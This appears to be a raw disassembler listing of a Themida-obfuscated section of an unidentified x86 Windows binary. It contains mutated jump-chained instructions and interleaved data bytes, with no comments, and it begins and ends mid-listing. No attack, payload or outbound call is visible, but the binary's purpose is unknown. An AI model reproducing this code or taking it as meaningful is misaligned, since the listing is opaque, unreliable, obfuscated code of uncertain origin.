0C5810000h, 4, 5C242C87h, 0E94FFA87h, 0FFFF79BCh dd 0E95DE889h, 54Ch, 0E9240487h, 0FFFF7765h ; --------------------------------------------------------------------------- loc_5654D4: ; CODE XREF: Themida_:00555D81j push edx mov edx, 590864DFh dec edx xor edx, 23C77E1Fh dec edx jmp loc_56388B ; --------------------------------------------------------------------------- loc_5654E7: ; CODE XREF: Themida_:0055D681j add esp, 4 add esp, 4 push ebx mov ebx, esp jmp loc_55D89F ; --------------------------------------------------------------------------- a0St db '0тИT',1Bh,0 align 4 dd 4EC81h, 1C890000h, 0D804E924h, 0F729FFFFh, 0FEF495E9h dd 749FBBFFh, 0EB811F52h, 16EC6C45h, 2068C381h, 0FFE951B8h dd 50FFFF1Dh, 0F480FAB4h, 0A2C480E8h, 0E951E4D0h, 0FFFF8DADh dd 4E9DE01h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56553F: ; CODE XREF: Themida_:00553BBAj pop ebx push 56C4h mov [esp], eax mov eax, 4 add ebx, eax pop eax push ebp push ecx jmp loc_55F6F0 ; --------------------------------------------------------------------------- db 81h dd 21E422EBh, 14F753D7h, 0C3815B24h, 692D017Dh, 917AB02Dh dd 19D12D41h, 0D8013CBBh, 0BB19D105h, 7AB0053Ch, 0ADE94191h dd 5F000026h, 2E768h, 6942E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56558E: ; CODE XREF: Themida_:00554AE8j add esp, 4 push 48D6h mov [esp], edx push ebx mov ebx, 57731097h jmp loc_5546A3 ; --------------------------------------------------------------------------- db 5Ch dd 9C2424D2h, 0FED60AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5655B1: ; CODE XREF: Themida_:00557F15j or ebx, 7FF36B43h add ebx, 80049409h jmp loc_556AEB ; --------------------------------------------------------------------------- loc_5655C2: ; CODE XREF: Themida_:005558BCj mov esp, [esp] jmp loc_56206D ; --------------------------------------------------------------------------- loc_5655CA: ; CODE XREF: Themida_:0055D148j and eax, edx mov edx, [esp] push eax push esp jmp loc_5667CA ; --------------------------------------------------------------------------- dw 483h dd 48F0424h, 444BE924h, 0EC83FFFFh, 14896602h, 3C876624h dd 0D7F76624h, 243C8766h, 24148B66h, 2A31E9h db 0 byte_5655FD db 8Bh, 2 dup(24h) ; DATA XREF: Themida_:005528F8o dd 0FED5B6E9h, 241C8BFFh, 4C481h, 0EA310000h, 5AD5015Dh dd 533DB951h, 0E1C170D0h, 2E9C104h, 5504E9C1h, 9EF864BDh dd 5DE9014Eh, 8159CD01h, 0FEABEEDh, 0B0C6819Fh, 81085A78h dd 322CE5EEh, 81EE0126h, 322CE5C6h, 0F314E926h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56564E: ; CODE XREF: Themida_:00566CF3j add dword ptr [esp+8], 4CED7C9Ch pop esi push dword ptr [esp] pop edx push edi mov edi, esp add edi, 4 sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_5627AC ; --------------------------------------------------------------------------- dw 84BAh dd 897D8F55h, 0D0F75AD0h, 0FFFFB951h, 0E6E9FFFFh db 54h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565693: ; CODE XREF: Themida_:005580DBj push 6002h mov [esp], edx mov edx, esp add edx, 4 push esi jmp loc_5665B4 ; --------------------------------------------------------------------------- db 0BAh, 9Eh, 2 dd 0C8E91163h db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5656B3: ; CODE XREF: Themida_:005650B3j xchg edi, [esp] pop esp mov [esp], esi jmp loc_56597A ; --------------------------------------------------------------------------- db 56h dd 42474FFh, 0E92434FFh, 0FFFF7327h ; --------------------------------------------------------------------------- loc_5656CC: ; CODE XREF: Themida_:0055A232j add esp, 4 push eax mov eax, 450040F4h push esi mov esi, 352316A7h and esi, 28AE16A3h jmp loc_55E0CE ; --------------------------------------------------------------------------- dw 48Fh dd 0C3815C24h, 4, 4C381h, 0E9530000h, 0FFFF908Ah, 0E9240433h dd 0FFFEF9FFh, 4C281h, 68510000h, 4, 0E9CA0159h, 0FFFF5AEFh dd 8B242C87h db 2 dup(24h) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_552C98 ; --------------------------------------------------------------------------- loc_565726: ; CODE XREF: Themida_:00559FFAj mov [esp], ecx push esp mov ecx, [esp] push edi mov edi, esp jmp loc_55D26C ; --------------------------------------------------------------------------- db 80h, 0E9h, 1Dh aZSh db 'ZпИh:{',0 align 10h dd 0FF5BA3E9h db 0FFh byte_565745 db 0ADh, 31h, 0D8h ; DATA XREF: Themida_:00552AE0o dd 7830BF57h, 0C5E926CFh, 4DFFFFE3h, 7F8BB951h, 6FE9A049h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56575F: ; CODE XREF: Themida_:00566653j xor eax, ebp push dword ptr [esp] jmp loc_562700 ; --------------------------------------------------------------------------- db 68h, 54h, 0Ah dd 2C890000h, 45FCBD24h, 24E9635Bh, 29FFFF9Fh, 0F3015EF3h dd 0FF93C6E9h, 240C31FFh, 5C240C33h, 4C681h, 34870000h dd 0C8855C24h, 0D41DE99Ch, 0D7F6FFFEh, 7BF780h, 51665BF8h dd 1D9A68h, 2875E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5657B2: ; CODE XREF: Themida_:005622B7j add ebp, ebx pop ebx push eax mov eax, esp jmp loc_564F9A ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 8104C483h, 4ECh, 24048900h, 0F02384B8h, 0DFE9552Eh db 32h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5657D7: ; CODE XREF: Themida_:0055CB77j mov edx, ebx pop ebx add esi, 369F4C83h jmp loc_55471E ; --------------------------------------------------------------------------- loc_5657E5: ; CODE XREF: Themida_:00562223j mov ebx, 6E908D7h mov edx, ebx pop ebx shr edx, 2 sub edx, 0DA93258Bh or esi, edx jmp loc_561968 ; --------------------------------------------------------------------------- db 5, 0D6h, 38h dd 0A2E927D2h, 8BFFFF51h, 0E956240Ch, 0FFFEFBE7h ; --------------------------------------------------------------------------- loc_565810: ; CODE XREF: Themida_:005577E1j push eax sub dword ptr [esp], 5CC40C8Eh pop ebx add ebx, 5CC40C8Eh pop eax jmp loc_55D717 ; --------------------------------------------------------------------------- db 1, 0FBh, 81h dd 0C9735AEBh, 0D4EB8144h, 56221828h, 8904EC83h, 9168243Ch dd 0E9400B67h, 0FFFF3BB3h, 2434875Fh, 241C895Ch, 177AF4BBh dd 0FBA5254h, 9705B5Ch, 685AD3h, 29000000h, 535B241Ch dd 0E92414F7h, 0FFFF61DBh ; --------------------------------------------------------------------------- loc_56586C: ; CODE XREF: Themida_:005653DDj add esi, 4 jmp loc_55BB10 ; --------------------------------------------------------------------------- loc_565877: ; CODE XREF: Themida_:00559857j mov esi, 3B31A58h sub eax, esi jmp loc_562032 ; --------------------------------------------------------------------------- loc_565883: ; CODE XREF: Themida_:00559421j not edx jmp loc_55F05D ; --------------------------------------------------------------------------- loc_56588A: ; CODE XREF: Themida_:005665C2j pop ebx dec esi add esi, 4B9106C5h jmp loc_564E06 ; --------------------------------------------------------------------------- byte_565897 db 0ACh ; DATA XREF: Themida_:005529E8o dd 123CE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56589E: ; CODE XREF: Themida_:00562558j sub edx, 42B5259Dh add edx, eax push eax push edx mov edx, 1B823A48h jmp loc_557CD2 ; --------------------------------------------------------------------------- dw 0D101h dd 240C875Ah, 68C2015Ch, 5440h, 0E9240489h, 0FFFEF0AAh dd 0A74DDCBBh, 4BD3F70Fh, 0FFE4BCE9h, 24048FFFh, 4EC835Ch dd 81243C89h, 4ECh, 24248900h, 4240483h, 4C7815Fh, 51000000h dd 9F4673B9h, 0A7E9811Bh, 81793F35h, 544194F1h, 0ACC18125h dd 178CBAEh, 240C8BCFh, 0FFF0A4E9h, 268FFh, 81590000h dd 0CF0FCCEBh, 0A6EB8111h, 1556C08h, 0A6C381CBh, 57556C08h dd 0CF0FCCBFh, 27C38111h, 0E915EA4Eh, 0FFFF6964h, 0B30F665Ch dd 0E99C2404h, 0FFFED26Fh, 0E503EEBEh, 0C3EE8142h, 810D0B23h dd 9D9F7CC6h, 5EF5292Ah, 2C8BEF01h, 4C48324h, 4C781h, 3C870000h dd 24248B24h, 0C26BE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56597A: ; CODE XREF: Themida_:005656BAj mov esi, 7A3F1D61h sub esi, 3E4D5DF3h shl esi, 8 jmp loc_55C264 ; --------------------------------------------------------------------------- db 5Dh, 81h, 0EFh dd 0AB5ABA6Ah, 3C8BFD89h, 4C48124h, 0F7000000h, 1ED83DDh dd 0FF4991E9h, 16E956FFh db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5659AF: ; CODE XREF: Themida_:00557C60j mov edx, edi pop edi xor edx, 27D41A79h xor edi, edx jmp loc_565A47 ; --------------------------------------------------------------------------- db 5 dd 2D41797Dh, 28002A05h, 6308E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5659CE: ; CODE XREF: Themida_:00564CBEj mov esi, 2957099h and esi, 17247A02h dec esi jmp loc_55901A ; --------------------------------------------------------------------------- loc_5659DF: ; CODE XREF: Themida_:00554667j xchg ebp, [esp] pop esp mov [esp], ecx jmp loc_564256 ; --------------------------------------------------------------------------- loc_5659EB: ; CODE XREF: Themida_:005551FCj pop esp push esi push ecx mov ecx, 15595972h mov esi, ecx pop ecx add eax, esi pop esi sub eax, esi sub eax, 15595972h mov esi, [esp] push eax jmp loc_55AFCD ; --------------------------------------------------------------------------- byte_565A09 db 0FFh, 74h, 24h ; DATA XREF: Themida_:00552928o dd 2434FF04h, 0E924048Bh, 0FFFFB702h, 4244401h, 8124048Bh dd 4C4h, 2434FF00h, 83240C8Bh, 895004C4h, 405E0h, 0B9510000h dd 4, 8759C801h, 18E92404h db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565A47: ; CODE XREF: Themida_:005659BAj mov edx, [esp] add esp, 4 sub ebx, edi mov edi, [esp] jmp loc_5531BB ; --------------------------------------------------------------------------- loc_565A5A: ; CODE XREF: Themida_:00563A77j ; Themida_:00564701j push 0C96h mov [esp], edx sub esp, 4 mov [esp], eax mov eax, ebx push 2F5h mov [esp], eax pop edx jmp loc_5570AC ; --------------------------------------------------------------------------- db 58h dd 8CC38143h, 53F280F1h, 0FFD02BE9h db 0FFh ; --------------------------------------------------------------------------- loc_565A89: ; CODE XREF: Themida_:00564018j sub eax, esi mov esi, [esp] add esp, 4 push ebx push ecx push esi push 33F65C80h pop esi shr esi, 1 inc esi sub esi, 0F1FAB2CEh push ebp jmp loc_561B85 ; --------------------------------------------------------------------------- loc_565AAC: ; CODE XREF: Themida_:00566DDCj add edx, 76BC5C1Ah sub edx, edi sub edx, 76BC5C1Ah pop edi xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov [esp], edx push ecx push 665B6642h mov ecx, [esp] add esp, 4 xor ecx, 665A6642h mov edx, ecx pop ecx jmp loc_5660AA ; --------------------------------------------------------------------------- dw 15Ah dd 0F2C781DFh, 5B641773h, 53E9F829h, 8BFFFF2Eh, 46E9241Ch db 58h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565AFB: ; CODE XREF: Themida_:00559F7Dj push ecx jmp loc_566765 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 483E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_565B0A: ; CODE XREF: Themida_:00556BC3j pop esp push esi push ebp jmp loc_557730 ; --------------------------------------------------------------------------- loc_565B12: ; CODE XREF: Themida_:00557B3Aj sub ebp, ecx jmp loc_559A1F ; --------------------------------------------------------------------------- db 0B0h, 0BEh, 0E9h dd 0FFFF6A51h, 0E7E38143h, 0E91CE950h, 0FFFEE042h, 0EA2D6CBAh dd 0A9E9571Ch db 49h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565B37: ; CODE XREF: Themida_:00563342j pop edx add esi, 0FFFFFFFFh neg esi jmp loc_5607A6 ; --------------------------------------------------------------------------- db 83h, 0C4h, 2 dd 0C8BE830h, 0EF0EE924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565B52: ; CODE XREF: Themida_:0055943Dj mov eax, [esp] add esp, 4 shr bl, 7 not bl shl bl, 8 sub bl, 0C8h shl bl, 7 sub bl, 0CDh sub bl, 0Ch sub bl, 0A8h and al, bl jmp loc_560359 ; --------------------------------------------------------------------------- loc_565B79: ; CODE XREF: Themida_:005594A4j add ebx, 6F3D745Bh pop edx push eax push 1EDF63C1h mov eax, [esp] push 1CC1h jmp loc_55774D ; --------------------------------------------------------------------------- db 80h dd 4E933C7h, 66FFFFDAh, 66240C89h, 66C8B60Fh, 2E99C51h dd 0B3000013h, 3225E900h, 0E955FFFFh, 0FFFFD147h, 8704C483h dd 685C2404h, 63FFh, 81241489h, 4ECh, 24348900h, 0FFE712E9h dd 6A668FFh, 0ABE90000h, 56000008h, 0F189D689h, 24148B5Eh dd 81E18951h, 4C1h, 4C18100h, 87000000h, 2E9240Ch db 93h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565BFF: ; CODE XREF: Themida_:00566A97j mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop edx add esp, 4 push 7EE8h jmp loc_55C498 ; --------------------------------------------------------------------------- loc_565C17: ; CODE XREF: Themida_:00555E32j pop eax mov edi, [esp] add esp, 4 jmp loc_563586 ; --------------------------------------------------------------------------- db 8Bh dd 4FE2424h, 8CE99C24h db 0CFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565C2F: ; CODE XREF: Themida_:005640B8j mov [esp], edi mov edi, 611E9444h add edx, edi mov edi, [esp] add esp, 4 and eax, edx jmp loc_555B2D ; --------------------------------------------------------------------------- dw 0B353h dd 0E9D92801h, 0FFFF6A34h, 181E685Ah, 4890000h, 0FF57E924h dd 0E589FFFEh, 4C581h, 0ED680000h, 8900003Eh, 98E92414h db 32h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565C73: ; CODE XREF: Themida_:0055DC37j push ebx push eax push esi jmp loc_55498F ; --------------------------------------------------------------------------- loc_565C7B: ; CODE XREF: Themida_:00554784j or ecx, ebx jmp loc_567433 ; --------------------------------------------------------------------------- loc_565C82: ; CODE XREF: Themida_:0055F523j shr ecx, 0Bh push ebx push dword ptr [esp] pop eax push 6EA1h jmp loc_55F172 ; --------------------------------------------------------------------------- loc_565C94: ; CODE XREF: Themida_:005542EFj mov ebx, [esp] add esp, 4 add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi push esp mov edi, [esp] add esp, 4 push ecx push 2ED72A73h pop ecx inc ecx jmp loc_5678F5 ; --------------------------------------------------------------------------- loc_565CC4: ; CODE XREF: Themida_:0056282Aj push edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_552EEA ; --------------------------------------------------------------------------- dw 8951h dd 4C181E1h, 83000000h, 0C8704E9h, 0A5E95C24h, 0BEFFFF0Fh dd 1C654E2Dh, 0F1C681h, 0EE81588Dh, 3C123BFFh, 0F019EE81h dd 0FD2D3F6Dh, 0E9120559h, 0FFFF438Bh ; --------------------------------------------------------------------------- loc_565D10: ; CODE XREF: Themida_:0055754Aj mov ecx, 6E5E646Fh add ebp, ecx pop ecx add ebp, edx sub ebp, 6E5E646Fh pop edx push ebp push dword ptr [esp+4] jmp loc_5537D1 ; --------------------------------------------------------------------------- db 87h dd 4EC83FEh, 0E9243C89h, 0FFFFB828h, 24048B66h, 8904EC83h dd 1DE92404h, 0F7FFFF0Fh, 6BF281DAh, 815CB02Fh, 38ABDBC2h dd 0E9D72975h, 0FFFFFD86h ; --------------------------------------------------------------------------- loc_565D5C: ; CODE XREF: Themida_:0055CA28j pop eax jmp loc_55C545 ; --------------------------------------------------------------------------- loc_565D62: ; CODE XREF: Themida_:005589D2j sub edx, 0FDD35823h jmp loc_5592AA ; --------------------------------------------------------------------------- loc_565D6D: ; CODE XREF: Themida_:0055870Dj sub ebp, 1A4C0711h add ebp, esi add ebp, 1A4C0711h jmp loc_5587A2 ; --------------------------------------------------------------------------- dd 4C681h, 0E9E90000h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565D8B: ; CODE XREF: Themida_:0055F06Bj mov ebp, 62EF604Dh xor ebp, 950F604Dh xor esi, ebp pop ebp sub [edi+24h], esi jmp loc_561C4C ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 36EBED81h, 0EB89CB28h, 83242C8Bh, 0D76804C4h, 8900005Dh dd 49B9240Ch, 0E971BF78h, 0FFFEEBDBh ; --------------------------------------------------------------------------- loc_565DC4: ; CODE XREF: Themida_:0056630Cj shl al, 3 jmp loc_556820 ; --------------------------------------------------------------------------- dd 214668h, 24148900h, 0E9240487h, 0ABCh, 8637DFBDh, 0B7D6E904h dd 248BFFFFh, 68E1F724h, 2C52h, 50241489h, 0CDC1E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565DFA: ; CODE XREF: Themida_:00567B9Ej sub esp, 4 jmp loc_55A6FD ; --------------------------------------------------------------------------- dw 525Bh dd 4BAh, 5AD10100h, 31240C33h, 0C33240Ch, 24248B24h, 2BD55h dd 0EF010000h, 3A84685Dh, 0C5E90000h, 50FFFF6Eh, 0FF6B8FE9h dd 281E68FFh, 1C890000h, 0D1C2E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565E3E: ; CODE XREF: Themida_:005680DFj inc dword ptr [edi+20h] shl dword ptr [edi+20h], 3 push ecx mov ecx, 1FBD54F6h shl ecx, 3 shr ecx, 2 shl ecx, 4 push 0 sub [esp], ecx pop ecx push esi jmp loc_553309 ; --------------------------------------------------------------------------- loc_565E63: ; CODE XREF: Themida_:00563064j sub [esp+4], eax jmp loc_559660 ; --------------------------------------------------------------------------- loc_565E6C: ; CODE XREF: Themida_:005607D8j and esi, 4A77483Fh and esi, 2B0D3E0Fh jmp loc_56622E ; --------------------------------------------------------------------------- db 68h, 99h, 3Eh dd 1AE92346h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_565E87: ; CODE XREF: Themida_:005650CCj push 1F38h mov [esp], ebp sub esp, 4 jmp loc_55BF1C ; --------------------------------------------------------------------------- dw 6853h dd 29E15918h, 8E3C15Bh, 0FFA7B7E9h db 0FFh ; --------------------------------------------------------------------------- loc_565EA9: ; CODE XREF: Themida_:00563000j push dword ptr [esp] pop edx add esp, 4 mov esi, [esp] jmp loc_55CB61 ; --------------------------------------------------------------------------- dd 0E9241C89h, 0FFFF7C64h, 4812E4B9h, 8CE3BA5Eh, 0AFE9A6E4h db 49h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565ECF: ; CODE XREF: Themida_:00561170j pop esi add ecx, esi pop esi push eax push 1066h mov [esp], ebp push 28D006B8h pop ebp add ebp, 5DB015ABh shr ebp, 5 push edi mov edi, 6E151E95h push ebp mov ebp, 47F86921h not ebp jmp loc_55F1BC ; --------------------------------------------------------------------------- dw 0DD89h dd 0F7D5F75Bh, 68C581D5h, 0E93AD920h, 0FFFF7578h ; --------------------------------------------------------------------------- loc_565F10: ; CODE XREF: Themida_:00560F8Fj add eax, 0FEDFFDA1h mov ebp, eax mov eax, [esp] add esp, 4 add ecx, ebp mov ebp, [esp] push 1B47h mov [esp], ecx mov ecx, esp jmp loc_559E69 ; --------------------------------------------------------------------------- db 29h, 0F8h, 5Fh dd 94663605h, 8BC329D1h, 0DBE92404h db 13h, 2 dup(0FFh) byte_565F43 db 0FFh ; DATA XREF: Themida_:00552A4Co dd 52553877h, 837080BAh, 5AD58926h, 4244481h, 2D765CC8h dd 4246C29h, 0FF1422E9h db 0FFh byte_565F61 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00552B2Co dd 0CCE95124h, 5FFFF42h, 0F3A7FEF1h, 51C781h, 0C729334Dh dd 51EF81h, 34FF334Dh, 0C4815824h, 4, 0FF9B53E9h, 0E9E289FFh dd 0FFFFF770h, 0E95FFE01h, 0FFFF7733h ; --------------------------------------------------------------------------- loc_565F9C: ; CODE XREF: Themida_:0055A293j push dword ptr [esp] mov eax, [esp] add esp, 4 push esi push esp pop esi add esi, 4 push edx mov edx, 4 sub esi, 264A40A3h add esi, edx add esi, 264A40A3h jmp loc_5675DB ; --------------------------------------------------------------------------- loc_565FC7: ; CODE XREF: Themida_:00562CD4j pop edx sub edx, 123E3F63h add edx, eax jmp loc_563370 ; --------------------------------------------------------------------------- loc_565FD5: ; CODE XREF: Themida_:0055724Bj push esi mov esi, 44C44928h xor ebp, esi pop esi mov ecx, ebp pop ebp xor edx, ecx pop ecx jmp loc_567E65 ; --------------------------------------------------------------------------- aPhnw db 'Ph█w',0 dw 8900h dd 4832424h, 0F9E90424h, 31FFFEE7h, 34332434h, 0EC835C24h dd 242C8904h, 2E81BA52h, 39BD518Bh, 3116FD2Ch, 45DE9D5h dd 0F086FFFFh, 0FF892CE9h, 4EC81FFh, 89000000h, 0A068241Ch dd 5B47D21Bh, 5BF5755h, 0C168133Ch, 0E78106EFh, 3BD71AD9h dd 0B3E95547h db 51h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566047: ; CODE XREF: Themida_:00564E09j add ecx, esi push ebp mov ebp, 339102A3h sub ecx, ebp pop ebp sub ecx, 156709F8h pop esi jmp loc_55C7B0 ; --------------------------------------------------------------------------- word_56605E dw 32FFh ; DATA XREF: Themida_:00552948o dd 0FECB56E9h db 0FFh ; --------------------------------------------------------------------------- loc_566065: ; CODE XREF: Themida_:005643EAj xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_5636CC ; --------------------------------------------------------------------------- word_566076 dw 8B66h ; DATA XREF: Themida_:00552AF8o dd 0D168240Ch, 8900001Dh, 0E0892404h, 405h, 2ABB5300h dd 556C862Bh, 504575BDh, 6E5C16Dh, 0DD32E957h, 248BFFFEh dd 48B6624h, 27C9E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5660AA: ; CODE XREF: Themida_:00565ADDj and eax, edx jmp loc_557B04 ; --------------------------------------------------------------------------- loc_5660B1: ; CODE XREF: Themida_:00566BDFj push ebx jmp loc_55B4CE ; --------------------------------------------------------------------------- loc_5660B7: ; CODE XREF: Themida_:00559C2Cj mov ebp, [esp] add esp, 4 add ebx, 25F92979h sub ebx, eax sub ebx, 25F92979h push 0FC1h mov [esp], edx mov edx, 19324913h xor edx, 52087D40h add ebx, edx pop edx jmp loc_55CE7A ; --------------------------------------------------------------------------- db 0BFh, 63h, 56h dd 0E94F4A9Dh, 0FFFF7BA1h ; --------------------------------------------------------------------------- loc_5660F4: ; CODE XREF: Themida_:0055443Ej mov ecx, 3C951B98h or ecx, 6D606068h add ecx, 0BBD6380Fh add ebx, ecx jmp loc_56636B ; --------------------------------------------------------------------------- dword_56610C dd 24048B66h, 41E168h, 24348900h, 0FE04E954h, 6405FFFEh ; DATA XREF: Themida_:00552B50o dd 572BF55h, 81EC44C1h, 0E958C501h, 7CFh, 5D240C89h, 0EDC15B59h dd 0E0CD8105h, 816A1405h, 333DE1CDh, 0DBBA526Bh, 316908AFh dd 0A4E95AD5h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_566153: ; CODE XREF: Themida_:0055DC58j add esp, 4 add ebx, 25E70377h sub ebx, 583E2754h add ebx, edi jmp loc_55C8A5 ; --------------------------------------------------------------------------- dd 88E28852h, 84E95AD7h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566177: ; CODE XREF: Themida_:0055ADC7j push edx push ebx mov ebx, 3CC61140h mov edx, ebx pop ebx sub ebx, edx pop edx sub esp, 4 mov [esp], ecx jmp loc_55B8E5 ; --------------------------------------------------------------------------- dw 0F766h dd 58662414h, 24043166h, 24043366h, 24043166h, 1CABE9h dd 61ED8100h, 0C133970Bh, 0C58108EDh, 13EF2CFBh, 1CE95653h dd 29FFFF8Ah, 1AED81F5h, 0E920381Dh, 0FFFF031Dh dword_5661CC dd 240C8B66h, 7B8168h, 240C8900h, 6D5168h, 2076800h, 24890000h ; DATA XREF: Themida_:00552A18o dd 24048324h, 24048F04h, 779B68h, 240C8900h, 468h, 6C815900h dd 49910424h, 4C01153Dh, 44810424h, 49910424h, 0E959153Dh dd 0FFFF6754h, 0DA40E95Ch, 0C829FFFEh, 51FB2D59h, 0F8015B98h dd 9851FB05h, 0D1BAE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56622E: ; CODE XREF: Themida_:00565E78j sub esi, 6EC1110Fh not esi sub esi, 66C01100h mov eax, esi pop esi add eax, ebx push dword ptr [eax] jmp loc_5644B7 ; --------------------------------------------------------------------------- loc_566248: ; CODE XREF: Themida_:00553C6Cj add esp, 4 push 72DBh mov [esp], edi push esi mov esi, 0D250017h jmp loc_56663C ; --------------------------------------------------------------------------- db 81h, 0E5h, 0CBh dd 0E944E72Ah, 0FFFF3D53h, 9B1A93BDh, 796C6812h, 2C890000h dd 1737E924h, 4870000h, 52505C24h, 1B2A6EBAh, 2103E945h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56628E: ; CODE XREF: Themida_:0056350Fj mov edi, 4 sub esi, edi mov edi, [esp] add esp, 4 push 0A4Fh mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp mov [esp], ebx mov ebx, esp push edi mov edi, 4 add ebx, edi pop edi push 1FD8h mov [esp], esi jmp loc_552DF7 ; --------------------------------------------------------------------------- dw 0E95Ch dd 0FFFF3FC8h, 0D68665Bh, 1489662Eh, 0F672B624h, 0C0CEFEDEh dd 0C68005EEh, 59F6809Dh, 0C07BB353h, 0F38007E3h, 4771E960h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5662F6: ; CODE XREF: Themida_:0055EB15j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ebx jmp loc_553687 ; --------------------------------------------------------------------------- loc_56630A: ; CODE XREF: Themida_:00563EFDj pop ecx pop edx jmp loc_565DC4 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0FF3B66E9h, 4475B8FFh, 0C6292A5Dh, 240C8B58h, 56E95455h dd 55FFFF5Eh, 0EC1E45BDh, 69C58126h, 0E95D8375h, 0FFFEEC21h dd 0E9241489h, 0FFFF9914h, 0BEE95766h db 46h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56634B: ; CODE XREF: Themida_:00567658j sub esi, edx add esi, 555A39E8h pop edx and eax, esi mov esi, [esp] jmp loc_555F87 ; --------------------------------------------------------------------------- dw 0EB83h dd 6406804h, 1CE90000h db 93h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56636B: ; CODE XREF: Themida_:00566107j pop ecx add eax, ebx jmp loc_564128 ; --------------------------------------------------------------------------- db 89h dd 7CBB241Ch, 0D1417525h, 81DBF7EBh, 215C75C3h, 0BBEB8171h dd 0E946251Ah, 0FFFFE7C1h, 4D781C05h, 0D0015938h, 3F2EBB53h dd 0E3C13F16h, 650E906h, 2C8BFFFFh, 0E6895624h, 4C681h dd 0C6810000h, 4, 5C243487h, 0FF5EF5E9h, 4C183FFh, 0E9240C87h dd 0FFFF6A30h, 836EC80h, 52AFE9E6h, 0EF83FFFFh, 243C8704h dd 5424248Bh, 0E924048Fh, 8B1h, 1C8BFE88h, 4C48324h, 0FF4118E9h dd 1E8B9FFh, 0CA894696h, 0DB55E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566402: ; CODE XREF: Themida_:0055FE9Cj sub eax, 4 xchg eax, [esp] pop esp mov [esp], esi push eax pop esi jmp loc_5610B8 ; --------------------------------------------------------------------------- db 0B6h dd 0AACE80A4h, 80ABEE80h, 0CE8078F6h, 0BB63E92Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566426: ; CODE XREF: Themida_:0055F099j mov ecx, 3CB734E6h add ecx, 75F70E24h jmp loc_560CF7 ; --------------------------------------------------------------------------- loc_566436: ; CODE XREF: Themida_:0055B09Cj not dword ptr [esp] pop ebx shr ebx, 5 jmp loc_55443D ; --------------------------------------------------------------------------- dw 0C781h dd 78028E9Eh, 3C8BFB29h, 4C48124h, 81000000h, 97B250F3h dd 0AFC681EAh, 29030530h, 0AFEE81DEh, 8B030530h, 0C481241Ch dd 4, 4DBDEE81h, 0C6811A46h, 33A840B3h, 4EC81h, 4890000h dd 0F9F3E924h, 0C89FFFFh, 4EC8124h, 54000000h, 0E924048Fh dd 0FFFFD41Dh, 8324348Bh, 0EF8104C4h, 231A3Ah, 0C781CF29h dd 231A3Ah, 58B95159h, 295D45C5h, 240C8BCFh, 5704C483h dd 0FEDB7DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5664C5: ; CODE XREF: Themida_:00559CC3j jmp loc_552BBB ; --------------------------------------------------------------------------- loc_5664CA: ; CODE XREF: Themida_:005667B8j mov ebp, 1E693BBCh jmp loc_55C4E7 ; --------------------------------------------------------------------------- loc_5664D4: ; CODE XREF: Themida_:00557360j pop esp mov ebp, [esp] jmp loc_55CE5A ; --------------------------------------------------------------------------- db 1, 0C7h, 55h dd 0FFD5FFE9h db 0FFh ; --------------------------------------------------------------------------- loc_5664E5: ; CODE XREF: Themida_:005625EBj not edx xor edx, 3DF21C90h push esi jmp loc_567D2F ; --------------------------------------------------------------------------- loc_5664F3: ; CODE XREF: Themida_:00557869j sub esp, 4 mov [esp], edi push esi jmp loc_55D616 ; --------------------------------------------------------------------------- db 0C1h dd 0EF8104E7h, 6FEA6788h, 15BF5756h, 81370743h, 0EC2583C7h dd 0FCC8E924h, 